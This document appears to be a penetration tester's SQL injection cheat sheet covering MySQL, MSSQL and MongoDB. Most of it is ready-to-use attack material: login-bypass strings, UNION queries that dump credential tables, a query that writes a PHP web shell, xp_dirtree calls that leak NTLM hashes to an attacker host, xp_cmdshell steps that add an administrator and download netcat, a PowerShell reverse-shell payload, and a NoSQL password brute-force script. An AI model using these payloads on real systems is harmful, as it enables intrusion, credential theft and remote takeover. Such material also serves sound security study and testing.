SQLi Cheat Sheet

4 minute read

Collection of common SQL Injection commands and techniques for various database technologies.

Login Bypass


admin'--
admin' or 1=1
admin'#
admin'/*
wronguser' or 1=1 LIMIT 1;#
foo')--
foo', 1)--
foo', 1, 1)--
foo', 1, 1, 1)--
foo' OR 1=1--
foo' OR 'a' = 'a			

' or 1=1#
a' or 1=1-- -
' or 1=1--
' 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' || 1>0 #
1'||'1'<'2
'OR 1=1;--
'OR 1=1;#
'OR 1=1 LIMIT 1; #
1'1
1 and 1=1
1 or 1=1
1' or '1'='1
1or1=1
1'or'1'='1

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x


UNION


// Order by syntax changes for each database technology.
' order by 1 -- -  // increment the number

//basic union based sqli 
id=1' order by 1  -> increase number until there's a change in output
id=1' union all select 1,2,3,4,5,6
id=1' union all select 1,2,3,4,@@version,6
id=1' union all select 1,2,3,4,user(),6
id=1' union all select 1,2,3,4,table_name,6 FROM information_schema.tables
id=1' union all select 1,2,3,4,coloumn_name,6 FROM information_schema.columns where table_name = 'users'
id=1' union select 1,2,3,4,concat(name,0x3a,password),6 FROM users   
id=1' union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'


1' Union select 1,2,version(),4,5 # 
1' Union select 1,2,user(),4,5 #  -
1' Union select 1,2,database(),4,5 # 
1' Union select 1,2,(SELECT GROUP_CONCAT(CONCAT_WS('.', `table_schema`,`table_name`) SEPARATOR '; ') as `things` FROM `information_schema`.`tables`),4,5 #
1' Union select 1,2,(SELECT GROUP_CONCAT(CONCAT_WS('.',`table_name`,`column_name`) SEPARATOR '; ') as `things` FROM `information_schema`.`columns` ),4,5 #


MSSQL


root@kali:~# python Responder.py -i AttackerIP -I tun0

EXEC Master.dbo.xp_DirTree"\\AttackerIP\x",1,1;  // our injection command

http://TargetIP/Product.aspx?ProducId=7 EXEC Master.dbo.xp_DirTree"\\AttackerIP\x",1,1;  // vulnerable web app

[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 10.10.10.104
[SMB] NTLMv2-SSP Username : TARGET\victim
[SMB] NTLMv2-SSP Hash     : victim::TARGET:1122334455667788:3F2283417639B6204880...................8D8E7EB4C2A5755800A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310037000000000000000000
[SMB] Requested Share     : \\AttackerIP\IPC$
[*] Skipping previously captured hash for TARGET\victim
[SMB] Requested Share     : \\AttackerIP\X

hashcat -m 5600 hash rockyou.txt  // crack the hash


If you come across credentials for MSSQL, the same thing can be achieved using Sqsh

1> EXEC master..xp_dirtree '\\AttackerIP\foo.txt'
2> go
(0 rows affected, return status = 0)
1> 

root@kali:~# python Responder.py -i AttackerIP -I tun0
...
    Responder NIC              [tun0]
    Responder IP               [AttackerIP]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : Target
[SMBv2] NTLMv2-SSP Username : TARGET\mssql
[SMBv2] NTLMv2-SSP Hash     : mssql::TARGET:E684844D3230567DC6F9685FC226B:0101000000000000C0653150DE09D......................201E2E65A8A222EEDC0000000000200080053004D004200330001001E005734002E0031003100000000000000000000000000
[*] Skipping previously captured hash for TARGET\mssql
[SMBv2] NTLMv2-SSP Client   : TARGET
[SMBv2] NTLMv2-SSP Username : \gX
[SMBv2] NTLMv2-SSP Hash     : gX:::fa14b3aed6acda78::

hashcat -m 5600 hash rockyou.txt  // crack the hash


xp_cmdshell can be used via injection (if it’s enabled/you’re allowed to enable it) or via Sqsh with valid credentials:

//enable xp_cmdshell
1> EXEC sp_configure 'show advanced options', 1       
2> go

1>RECONFIGURE                                                                   
2> go

1> EXEC sp_configure 'xp_cmdshell', 1                                            
2> go

1>RECONFIGURE                                                                  
2> go


With xp_cmdshell enabled we’re able to execute commands on the underlying operating system:

1> xp_cmdshell 'whoami'
2> go

TARGET\victim

1>xp_cmdshell “net user haxxor password /add”  // add user
2>go
1>xp_cmdshell “net localgroup Administrators haxxor /add”  // add user to admin group
2>go
1>xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f' // enable rdp
2>go


// Upload nc.exe & get a reverse shell
1> xp_cmdshell 'powershell IEX (Invoke-WebRequest -Uri "http://AttackerIP:8000/nc.exe" -outfile "C:\Users\victim\nc.exe")' 
2> go

1> xp_cmdshell 'C:\users\victim\nc.exe AttackerIP port -e cmd.exe'
2> go 


There will be cases where you can’t configure xp_cmdshell as it’s blacklisted. This can sometimes be bypassed by using different case letters for the configuration commands: EXEC sp_configure ‘xP_cmDsHell, EXEC sp_configure 'Xp_CmDshElL' etc.


MSSQL stacked query reverse shell:

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure ‘xP_cmDsHell’, 1;RECONFIGURE WITH OVERRIDE;drop table #xxx;create table #xxx (out varchar(8000));Insert into #xxx (out) execute xp_CmDShell ‘c:\WinDOWS\SYSWoW64\winDoWSpOwERsHEll\V1.0\PoWerShell.EXE “$client = New-Object System.Net.Sockets.TCPClient(\”AttackerIP\”,Port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \”PS \” + (pwd).Path + \”^> \”;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”‘;EXEC sp_configure ‘xp_cmDsHeLl’, 0;RECONFIGURE WITH OVERRIDE;


Second Order


 a' or 1=1-- -  // second order sqli login bypass

admin')order+by+1#
admin')order+by+2#  // admin')order+by+3# ...

admin')union+select+all+1,@@version#
admin')union+select+all+1,database()#
admin')union+select+all+1,table_schema+from+information_schema.tables#
admin')union+select+all+1,table_name+from+information_schema.tables+where+table_schema='sysadmin'#
admin')union+select+all+1,column_name+from+information_schema.columns+where+table_name='users'#
admin')+union+select+1,(select+group_concat(username,0x3a,password)+from+sysadmin.users)#


MongoDB


'||' 1' == ' 1
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
a'; return sleep(30); var dummy='!

Brute force:

import requests
import urllib3
import string
import urllib
import sys
urllib3.disable_warnings()


username = "admin"
password = ""
url = ""

print("[+] User: %s" % (username))
while True:
    for c in string.printable:
        if c not in ['*','+','?','|', '#', '.', '$']:
            payload = {'username[$eq]':'%s' %(username), 'password[$regex]': '^%s' %(password + c), 'login' : 'login' }
            req = requests.post(url, data=payload, verify=False, allow_redirects=False)
            if req.status_code == 302:
                print("[+] Found one more character: %s" % (password + c))
                password += c


Further Resources


netsparker SQLi
exploitdb SQLi tuturial
SQLi PayloadsAllTheThings
pentestmonkey-oracle
pentestmonkey-mssql
pentestmonkey-mysql
pentestmonkey-postgres
pentestmonkey-ingres
pentestmonkey-db2
pentestmonkey-informix